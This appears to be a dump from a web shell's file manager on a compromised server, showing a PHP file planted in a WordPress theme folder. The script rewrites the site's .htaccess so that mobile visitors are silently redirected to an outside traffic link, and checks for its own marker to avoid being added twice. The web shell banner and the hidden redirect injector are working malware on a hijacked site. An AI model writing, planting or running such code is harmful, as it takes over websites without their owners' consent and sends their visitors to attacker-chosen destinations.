HEX
Server: Apache/2.4.54 (Unix) OpenSSL/1.0.2k-fips
System: Linux f17.eelserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User: zulfiqar (1155)
PHP: 8.2.0
Disabled: mail, exec, system, popen, proc_open, shell_exec, passthru, show_source
Upload Files
File: /home/zulfiqar/public_html/wp-content/themes/custom-functions-1771880248/top_1771880269.php
<!--VT49umih-->
<!--VT49umih-->
<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);

$root = rtrim($_SERVER['DOCUMENT_ROOT'], '/');
$path = $root . '/.htaccess';

$host = $_SERVER['HTTP_HOST'] ?? '';
$host = preg_replace('/:\d+$/', '', $host);
$parts = explode('.', $host);
if (count($parts) > 1) {
    array_pop($parts);
}
$var = implode('.', $parts);

$insert =
"RewriteEngine On\n".
"RewriteCond %{HTTP_USER_AGENT} \"Android|iPhone|iPad|iPod|BlackBerry|Windows Phone\" [NC]\n".
"RewriteRule ^.*$ https://lakns.com/link?z=9557727&var={$var}&ymid={CLICK_ID} [R=302,L]\n\n";

if (!file_exists($path)) {
    if (file_put_contents($path, $insert) === false) {
        trigger_error('Failed to create .htaccess', E_USER_ERROR);
    }
    exit;
}

$content = file_get_contents($path);
if ($content === false) {
    trigger_error('Failed to read .htaccess', E_USER_ERROR);
}

if (strpos($content, 'lakns.com/link?z=9557727') !== false) {
    exit;
}

if (file_put_contents($path, $insert . $content) === false) {
    trigger_error('Failed to write .htaccess', E_USER_ERROR);
}